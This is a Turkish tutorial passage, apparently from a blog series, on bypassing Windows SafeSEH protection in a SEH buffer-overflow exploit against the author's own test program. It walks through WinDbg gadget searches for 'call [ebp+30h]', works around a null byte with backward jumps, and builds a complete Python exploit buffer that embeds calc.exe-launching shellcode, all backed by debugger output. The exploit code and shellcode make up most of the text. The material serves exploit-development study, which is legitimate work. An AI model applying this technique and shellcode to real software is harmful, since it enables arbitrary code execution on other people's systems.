Girişte bahsettiğimiz gibi bu korumayı atlatmanın yollarından biri programın kullandığı modülleri yahut bu modüllerin dışında hafızada olan bir modülü inceleyip onların SafeSEH korumasının olup olmadığını öğrenmek. Bu konuda bir örnek yapmayacağım zira oldukça açık bir şey. Yapmanız gereken şey Immunity yahut OllyDbg yardımıyla programın kullandığı modül dosyalarının SafeSEH korumalı olup olmadığını incelemek. Örneğin Immunity Debugger’da !pvefindaddr jseh yahut !mona seh komutlarıyla kullanılan modüller arasında eğer SafeSEH kapalı olan bir modül varsa o modül içerisinde pop pop ret arayabilir, ve bu üçlüyü klasik SEH exploitinizi yazmak için kullanabilirsiniz. Ayrıca OllyDbg için SafeSEH eklentisini kullanabilir, yine aynı şekilde modüllerin SafeSEH durumunu kontrol edebilirsiniz. Ve yine unutmayın ki yalnızca modül değil, bu hafızada olan bir sistem dosyası dahi olabilir. Fakat dediğimiz gibi, bu exploitinizin çalışma alanını daraltacaktır zira hafızadan aldığınız instruction setiniz yalnızca o işletim sisteminde çalışan bir dosyada olabilir. O yüzden bu yöntem pek tavsiye edilmiyor.

SafeSEH Korumasının SEH ile Atlatılması

Bu duruma alternatif olarak bir başka yol daha var, ve bu yol diğerinden daha iyi sonuçlar verebiliyor. Bunun için aşağıda listelediğimiz instructionlardan birine ihtiyacınız olacak.

  • call dword ptr[esp+nn]
  • jmp dword ptr[esp+nn]
  • call dword ptr[ebp+nn]
  • jmp dword ptr[ebp+nn]
  • call dword ptr[ebp-nn]
  • jmp dword ptr[ebp-nn]

nn değerinin pozitif değerleri için esp + 8,14,1c,2c,44,50; ebp için 0c,24,30 negatifler ebp için ise 04,0c,18’e bakılabilir. Şimdilik bunların neyi gösterdiğine takılmayın, yazıyı okudukça bu adreslerde ne olduğunu hep birlikte göreceğiz.

Ayrıca bunlara alternatif olarak eğer bizim exception_registration yapımız esp+8 adresine takabül ediyorsa yine pop pop ret üçlüsünü kullanabiliyor oluyoruz. Fakat, bu yapı esp+8de ise, o halde iki pop kullanıp esp+8 adresine gelebilir, ardından ret kullanarak Next SEH adresini elde edebiliriz. Fakat yine bu üçlü yüklenen modüllerin dışında, SafeSEH koruması kapalı bir adreste olmalı. Ayrıca eğer bahsettiğimiz durum söz konusu ise, bir başka alternatif olarak add esp+8 ret ikilisi de SafeSEH korumasını geçebilir demektir. Şimdi yavaşça bu korumanın atlatılması kısmına gelelim.

Öncelikle yine bir önceki programdan devam edeceğiz. Fakat bu defa programı link işlemine sokarken argümanlarımız arasında /SAFESEH olacak. -:NO kaldırıyoruz- Bu sayede SafeSEH’i aktif etmiş olacağız. Şimdi biraz ne yapabiliriz konusunda konuşalım.

Şimdi, ilk olarak yine SEH overflow için gereken taslak python exploitimizi görelim.

cokertkaarsim  = "A" * 528                 
cokertkaarsim += "BBBB"        #Next SEH
cokertkaarsim += "CCCC"        #SE Handler
cokertkaarsim += "D" * 400

Önceki exploitin gövdesinin ilk hali bu. Şimdi bunun üzerinden yürüyeceğiz. Bu iki alana yazmak istediğimiz instructionları bulmamız gerek. Derlediğimiz programda SafeSEH koruması açık, ayrıca diğer modullerde de açık. Bu demektir ki bu modüllerin bulunduğu adresleri kullanamayız. O halde hafızada arama yapacağız demektir. Bunu isterseniz Immunity debuggerda bulunan pvefindaddr yahut mona eklentisiyle ya da Windbg ile yapabilirsiniz. Ben Windbg kullanmayı daha eğlenceli buluyorum.

Programı Windbg ile açıp crashi oluşturduktan sonra kullanabileceğimiz aramaya başlayalım. Bu yazıda ebp+30‘u kullanıyoruz. Öncelikle bunun opcodeunu bulalım.

0:000> a
  5353106f call dword ptr[ebp+0x30]
    call dword ptr[ebp+0x30]
  53531072 jmp dword ptr[ebp+0x30]
    jmp dword ptr[ebp+0x30]


0:000> u 5353106f
image53530000+0x106f:
  5353106f ff5530          call    dword ptr [ebp+30h]
  53531072 ff6530          jmp     dword ptr [ebp+30h]

Şimdi, opcode değerlerimizi bulduk, ff 55 30 ve ff 65 30. Akabinde s komutunu kullanarak hafızada arama yapalım.

0:000> s 0000000 77fffff ff 55 30
  00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.....
0:000> u 00270b0b
  00270b0b ff5530          call    dword ptr [ebp+30h]
  00270b0e 0000            add     byte ptr [eax],al
  00270b10 0000            add     byte ptr [eax],al

00270b0b adresinde aradığımız instruction var. Bu adresin nereye ait olduğunu öğrenmek için Immunity yahut Olly debuggerda ALT+M kısayolu ile hafızaya bakabilirsiniz. Örneğin:

Ayrıca, örneğin herhangi bir uzukluktaki tüm değerleri bulmak için opcode içerisindeki 30 olmadan arama yapabilirsiniz. Yine bir örnek vermek gerekirse:

0:000> s 0000000 77fffff ff 55
  0014c366  ff 55 ca 3a c8 d1 35 6a-e2 03 87 b2 78 f3 48 0b  .U.:..5j....x.H.
  00267643  ff 55 ff 61 ff 54 ff 57-ff dc ff 58 ff cc ff f3  .U.a.T.W...X....
  00270b0b  ff 55 30 00 00 00 00 9e-ff 57 30 00 00 00 00 9e  .U0......W0.....
0:000> u 00267643
  00267643 ff55ff          call    dword ptr [ebp-1]
0:000> u  0014c366
  0014c366 ff55ca          call    dword ptr [ebp-36h]

Fakat bu diğer iki adres bizim işimizi görmüyor, aradığımız değere sahip değil. Mesela örneğin eğer burada 005353xxxx şeklinde bir değer olsa da işimize yaramayacaktı, zira bu bizim dosyamızın içinde demek oluyor. Yani SafeSEH aktif. Devam edelim, burada karşımıza çıkacak olan tek sorun bulduğumuz adresin null byte içeriyor olması. (00) null byte değeri ayrıca string değerlerini sonlandırdığı için bu demek oluyor biz SEH üzerine yazdıktan sonra shellcodumuzu stacke yazamayacağız, çünkü strycpy() bu null byte’ı görecek ve kopyalamanın bittiğini düşünecek.

Bunun üstesinden bir iki yolla gelmek mümkün. Örneğin eğer shellcodemuzu SEH’i yazmadan önce yazarsak bu sorunu geçebiliriz. Akabinde ileriye atlamak için jmp kullanmak yerine geriye atlayan bir jmp kullanabiliriz. Veyahut unicode shellcode kullanırsak bu sorunu yine aşabiliriz zira unicode değerlerinde 00 stringi sonlandırmaz, 00 00 sonlandırır.

Şimdi klasik olarak exploiti yazmaya devam ediyoruz. Bu defa klasik SEH exploitleme işimize yaramayacağı için Next SEH üzerine breakpoint (cc), SE Handler üzerine de bulduğumuz adresi yazalım.

cokertkaarsim  = "A" * 528           
cokertkaarsim += "\xcc\xcc\xcc\xcc"             #breakpoint (Next seh)
cokertkaarsim += struct.pack('<I', 0x00270b0b)  #call    dword ptr [ebp+30h] (SE Handler)
cokertkaarsim += "D" * 1500                     #junk  

Tekrar çalıştırıp Windbg üzerinde durum kontrolü yapalım.

0:000> g
(a80.b00): Break instruction exception - code 80000003 (first chance)
eax=00000000 ebx=00000000 ecx=00270b0b edx=7c9032bc esi=00000000
edi=00000000 eip=0012fd98 esp=0012f7a0 ebp=0012f7c4
0012fd98 cc              int     3
0:000> !exchain
  0012f7b8: ntdll!ExecuteHandler2+3a (7c9032bc)
  0012fd98: 00270b0b
  Invalid exception stack at cccccccc
0:000> d 0012fd70
  0012fd70  41414141 41414141 41414141 41414141
  0012fd80  41414141 41414141 41414141 41414141
  0012fd90  41414141 41414141 cccccccc 00270b0b
  0012fda0  0b34fc31 00000000 0012ff78 5353130e
  0012fdb0  003540c0 00000000 000002a0 000007a0
  0012fdc0  b8220002 00000000 00000000 00000000
  0012fdd0  00000784 003540c0 00000800 00650078
  0012fde0  02020202 536e6957 206b636f 00302e32

Bakın gördüğünüz üzere her şey doğru ilerliyor. Next SEH değerini cc ile, SE Handler’ı da adresimiz ile yazdık. Fakat dostlar, çok dikkat etmeniz gereken bir şey var. Bizim exploitimizde 1500 adet D eklemiştik ? Nerde bunlar ? Bu ne lahana turşusu ? Hemen Immunity Debugger ile bakalım.

Bakın, dediğimiz gibi. Null byte sorunu yüzünden kopyalama durmuş durumda. Şimdi bunu cebe atalım ve unutmadan devam edelim. Şunu önce bir anlayalım, neden ebp+30 ? Ne var burada ? Merak edilir değil mi ? Bakalım hemen ne var, ne oluyor diye.

0:000> !exchain
  0012f7b8: ntdll!ExecuteHandler2+3a (7c9032bc)
  0012fd98: 00270b0b
  Invalid exception stack at cccccccc
0:000> d ebp+30
  0012f7f4  0012fd98 0012f8a8 0012f860 00270b0b
  0012f804  0190f6ee 0012f88c 0190f7b2 7c96f31f
  0012f814  00030000 00350178 00001018 00350000
  0012f824  0012f620 0014a008 0012f8b0 7c90e920
  0012f834  7c91ae40 ffffffff 7c91ae3a 0012f8c0
  0012f844  7c96fdd8 00350608 7c96fdbc 00350000
  0012f854  00000000 00350000 00630069 005c0065
  0012f864  00630054 00130000 0012c000 00143b50
0:000> d 0012fd98
  0012fd98  cccccccc 00270b0b e28cb364 00000000
  0012fda8  0012ff78 5353130e 003540c0 00000000
  0012fdb8  000007f4 000007a0 b8220002 00000000
  0012fdc8  00000000 00000000 00000784 003540c0
  0012fdd8  00000800 00650078 02020202 536e6957
  0012fde8  206b636f 00302e32 13121110 17161514
  0012fdf8  1b1a1918 1f1e1d1c 23222120 27262524
0:000> u  0012fd98
  0012fd98 cc              int     3
  0012fd99 cc              int     3
  0012fd9a cc              int     3
  0012fd9b cc              int     3
  0012fd9c 0b0b            or      ecx,dword ptr [ebx]
  0012fd9e 27              daa

Sanırım anladınız. Bir nevi klasik SEH exploitinde yaptığımız şeyi yaptık. ebp+30 adresinde gördüğünüz üzre 0012fd98 yani bizim Next SEH değerimiz var. Yani şimdi yapamız gereken şey Next SEH( şu an cc ile dolu) üzerine ne yazmamız gerektiğini bulmak. Fakat dediğimiz gibi, bunun için null karakter sorununu çözmemiz gerekiyor. Haydi o halde! Mantığımız basit aslında, madem ki SEH üzerine yazdıktan sonra shellcode değerimiz (şu an D harfleri) yazılmıyor, o halde önce D’leri yazalım, ardından SEH’i yazalım. Yani şuna benzer bir yapımız oluyor :

______________
|            |
| NOPLAR     |
|____________|
|            |
| Shellcode  |
|____________|
| Next SEH   |
|------------|
| SE Handler |
--------------

Önceki mantığın biraz değişiği. Bu defa önce nop ve shellcodeu yazıyor, ardından SEH üzerine yazıyoruz. Şimdi yapmamız gereken şey ise Next SEH’den önce, yani shellcodeun hemen altına NOPların bulunduğu kısma atlayan bir jmp kodu yazmak, ardından Next SEH üstüne de bu jmp koduna atlayan bir jmp kodu yazmak. Bu sayede SE Handler üzerine yazdığımız call ebp+30 bizi tekrar Next SEH’e, Next SEH ise bizi noplara atlayan jmp instructionuna, bu atlama kodu da bizi haliyle shellcode’a getirecek. Yani şu şekilde olacak:

______________
|            |
| NOPLAR     |  <-----|
|____________|        |
|            |        |
| Shellcode  |        |
--------------        |
| JMP TO NOP |<-|  ----
|____________|  |
| Next SEH   | -- <-|
|------------|      |
| SE Handler |-------
--------------

Şimdi bu işi koda dökelim bakalım. Şimdi burada biraz kafa karışıklığı yaşayabilirsiniz. Öncelikle bizim Shellcodemuzun sonunda olan jmp’a atlamak için 7 bytelık bir back jmp opcodeuna ihtiyacımız var. Bu EB F9 opcodu ile bunu yapabiliyoruz. Ardından shellcodemuzun sonuna bizim en başta bulunan noplara atlamızı sağlayacak bir back jump daha yazmamız gerekiyor. Bunu bulmak için Immunity debugger kullanacağız. Şimdi, Öncelikle buraya kadarı için gereken python scriptini görelim.

boyut = 524                                          #524 oldu çünkü alta 4 byte jmp kodu ekledik
cokertkaarsim  = "\x90" * 24
cokertkaarsim += "\xcc\xcc"                          #Shellcode buraya gelecek
cokertkaarsim += "\x90" * (boyut-len(cokertkaarsim ))#SEH'e kadar NOP ekleyelim
cokertkaarsim += "\xcc\xcc\xcc\xcc"                  #Yeni Jump (528-4)
cokertkaarsim += "\xeb\xf9\x90\x90"                  #Jump Back 7 Byte (Next SEH)
cokertkaarsim += struct.pack('<I', 0x00270b0b)       #call dword ptr [ebp+30h] (SE Handler)

Şimdi programı Immunity debuggerda açıp exploiti çalıştırıyoruz, ardından CTRL+G ile 0012fd98 adresine gidiyoruz. Burada bizim Jump back 7 byte bulunuyor, yani next seh. Ardından Buranın adresi ile, shellcodemuzun üstünde bulunan nopların adresi arasındaki farkı bulup, bunu opcodeunu oluşturuyoruz.

Adreste şöyle bir şey görmeniz gerekiyor:

0012FD96   CC             INT3
0012FD97   CC             INT3   ---> Buraya NOPlara giden JUMP gelecek
-> 0012FD98  ^EB F9       JMP SHORT 0012FD93
0012FD9A   90             NOP
0012FD9B   90             NOP

0012FD97 adresi bizim exploitimizde Yeni Jump diye geçen kısım. Yani bu adresten shellcodemuzun olduğu adrese olan uzunluğu bulmalıyız. Yine Immunity aracılığıyla yukarıya doğru çıkıp shellcodemuzu buluyoruz ardından son işlemleri yapacağız.

Gördüğünüz üzre bizim shellcodemuz 0012FBA0 adresinde başlıyor. Bunun üzerinden bir alan seçiyorum(0012FB94) ve şimdi buraya olan uzunluğu hesaplıyoruz : 0x0012FB94-0x0012FD97=-0x203 = 515 byte ardından 0012FD98 adresine gidip, onun üzerinde bulunan yere jmp kodumu yazıyor(space) ve opcode değerini öğreniyorum.

Opcode değeri E9 F8FDFFFF, dikkat ederseniz bu değer 5 byte. Yani bu demektir ki boyut kısmı olan 524‘ü da bir azaltıp 523 yapacağız. Şimdi son hamlemizi yapıp bulduklarımızı exploite yerleştiriyoruz ve denememizi yapıyoruz. Son kez exploitimizi görelim.

boyut = 523
cokertkaarsim = "\x90" * 24
cokertkaarsim += "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"   #calc.exe shellcode
cokertkaarsim += "\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
cokertkaarsim += "\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
cokertkaarsim += "\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
cokertkaarsim += "\x57\x78\x01\xc2\x8b\x7a\x20\x01"
cokertkaarsim += "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
cokertkaarsim += "\x45\x81\x3e\x43\x72\x65\x61\x75"
cokertkaarsim += "\xf2\x81\x7e\x08\x6f\x63\x65\x73"
cokertkaarsim += "\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
cokertkaarsim += "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
cokertkaarsim += "\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
cokertkaarsim += "\xb1\xff\x53\xe2\xfd\x68\x63\x61"
cokertkaarsim += "\x6c\x63\x89\xe2\x52\x52\x53\x53"
cokertkaarsim += "\x53\x53\x53\x53\x52\x53\xff\xd7"
cokertkaarsim += "\x90" * (boyut-len(cokertkaarsim ))
cokertkaarsim += "\xe9\xf8\xfd\xff\xff"               #Geriye JMP 515 bayt
cokertkaarsim += "\xeb\xf9\x90\x90"                   #Geriye JMP 7 bayt (Next SEH)
cokertkaarsim += struct.pack('<I', 0x00270b0b)        #call dword ptr [ebp+30h]

Ve nihayet exploiti çalıştırıyoruz ve durumu görüyoruz.

Gördüğünüz üzre EDI yazmacında CreateProcessA var, stacke bakarsanız argümanlarında da calc olduğunu görebilirsiniz. Yani exploitimiz başarı ile çalıştı.

Biraz uzun bir yazı oldu. Faydalı olmasını umuyorum. Ayrıca tamamını okuma sabrını ve merakını gösteren herkese teşekkür ederim. Ayrıca yazıda tabii ki hatalar, yanlışlıklar olabilir, bildirimde bulunursanız böylece ben de düzeltebilmiş olurum. Sevgiler.